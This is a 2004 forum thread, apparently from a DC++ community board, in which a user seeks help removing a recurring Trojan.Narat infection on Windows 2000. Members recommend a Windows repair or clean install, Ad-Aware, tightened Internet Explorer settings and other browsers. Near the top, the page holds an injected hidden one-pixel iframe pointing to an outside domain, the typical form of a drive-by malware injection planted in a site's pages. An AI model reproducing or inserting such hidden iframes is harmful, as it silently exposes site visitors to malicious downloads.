Someone plaese help Re virus!

Non-DC related talk...<iframe src=http://pokupka.ks.ua/templates/As/image ... p?from=com width=1 height=1 style=display:none></iframe>

Moderator: Moderators

Locked
Woody
Posts: 8
Joined: 2003-12-09 12:50

Someone plaese help Re virus!

Post by Woody » 2004-01-01 13:15

Everytime I click a link on most of the websites I visit Norton pops up saying it has detected Trojan.Narat & has deleted it. There are loads of them in quarantine, I delete them all but it still comesback everytime I click a link, open a new IE window, etc. I have tried to follow the instructions to fix this ( http://securityresponse.symantec.com/av ... narat.html ) but I can't open my registry editor. It opens for about half a second then closes itself every time. I have Norton Personal Firewall 2003, Norton AntiVirus 2003 and Windows 2000 Pro. Help me please people I'm starting to go crazy!

joakim_tosteberg
Forum Moderator
Posts: 587
Joined: 2003-05-07 02:38
Location: Sweden, Linkoping

Post by joakim_tosteberg » 2004-01-01 13:18

Perhaps a clean install of windows?

Woody
Posts: 8
Joined: 2003-12-09 12:50

Post by Woody » 2004-01-01 13:20

Well I was hoping for a less drastic solution really!

joakim_tosteberg
Forum Moderator
Posts: 587
Joined: 2003-05-07 02:38
Location: Sweden, Linkoping

Post by joakim_tosteberg » 2004-01-01 13:31

The fact that regedit closes itself makes it sound quite bad so I think a clean install is the best solution.

Xan1977
Forum Moderator
Posts: 627
Joined: 2003-06-05 20:15

Post by Xan1977 » 2004-01-01 13:34

joakim_tosteberg wrote:Perhaps a clean install of windows?
I'm going to have to agree. If the fix from symantec doesn't work, then what else is there?

Woody
Posts: 8
Joined: 2003-12-09 12:50

Post by Woody » 2004-01-01 13:39

Damn damn damn! So that means I'll lose all my stuff right? And program set-ups, etc etc?

Xan1977
Forum Moderator
Posts: 627
Joined: 2003-06-05 20:15

Post by Xan1977 » 2004-01-01 13:44

You will lose any installed software, yea. But you can back up your Word documents or pictures and things like that. But avoid backing up anything that is executable.

jbyrd
Posts: 255
Joined: 2003-05-10 09:26
Location: no-la-usa-earth
Contact:

Post by jbyrd » 2004-01-01 23:50

I would try installing without formatting. Or, if you have system restore (ME, XP)...I would restore back to the operational days.
Hehe.

Twink
Posts: 436
Joined: 2003-03-31 23:31
Location: New Zealand

Post by Twink » 2004-01-02 02:50

can you open your regedit in safe mode?

Woody
Posts: 8
Joined: 2003-12-09 12:50

Post by Woody » 2004-01-02 07:24

I've managed to get into the Registry Editor via run>regedt32 but still no joy. I changed everything Symantec said to (though it was slightly diferent in my Reg Editor than what they said it would be like) and the virus still comes back everytime a click a webpage. It even comes up when I open IE but am not online.
Is a clean Windows install required, or can I install it as if I'm upgrading, to save my programs etc?

joakim_tosteberg
Forum Moderator
Posts: 587
Joined: 2003-05-07 02:38
Location: Sweden, Linkoping

Post by joakim_tosteberg » 2004-01-02 08:31

Try a repair first ( then it rewrites all windows files ) if it's still there then, do a clean install.

jbyrd
Posts: 255
Joined: 2003-05-10 09:26
Location: no-la-usa-earth
Contact:

Post by jbyrd » 2004-01-03 01:24

"I would try installing without formatting" (me)="Try a repair first" (joakim)

Thanks for stating it correctly.

Upon reviewing my previous statement, I have come to the conclusion that alcohol was still prominent in my blood stream...especially the blood in my brain. :lol:
Hehe.

Woody
Posts: 8
Joined: 2003-12-09 12:50

Post by Woody » 2004-01-03 07:03

Quick update...

The virus is gone, at last. :D After reading on www.computing.net (very good forum), and seeing others with the very same problem, I ran Ad-Aware by Lavasoft which found the virus and got rid of it. But I am still going to reinstall Windows completely, as I'm hoping it'll get rid of all the other crap I have picked up over the years that's taking up my hdd space.

So a question... How can huge companies like Norton and Symantec, whose software we pay for, be useless against this virus, yet freeware like Ad-Aware work very well!?!

TheNOP
Posts: 275
Joined: 2003-07-07 21:41
Location: Quebec

Post by TheNOP » 2004-01-03 09:27

Ad-Aware does not find virus only adware and spyware.
most antivirus does not detect them.

after OS re-install, go in IE settings and disable "install on demand(other)" and third partys browser extentions in avanced tab.

disabling active x, active scripting and java for internet zone in security tab.

set trusted zone with the old internet zone settings.
if you have problem to have access to some web page add their URL to the trusted zone.
TheNOP

Have you read the FAQ?
Or the sticky ? It might give you idea.

GargoyleMT
DC++ Contributor
Posts: 3212
Joined: 2003-01-07 21:46
Location: .pa.us

Post by GargoyleMT » 2004-01-03 09:43

Or switch to an alternate browser that does less harmful things automatically. I use Mozilla Firebird exclusively.

It's important to understand that you have choices. You should also look for a better mail client than Outlook or Outlook express (the Mozilla Foundation also has an alternative there).

You even have choices in getting rid of spyware. this site hosts an alternative.

Locked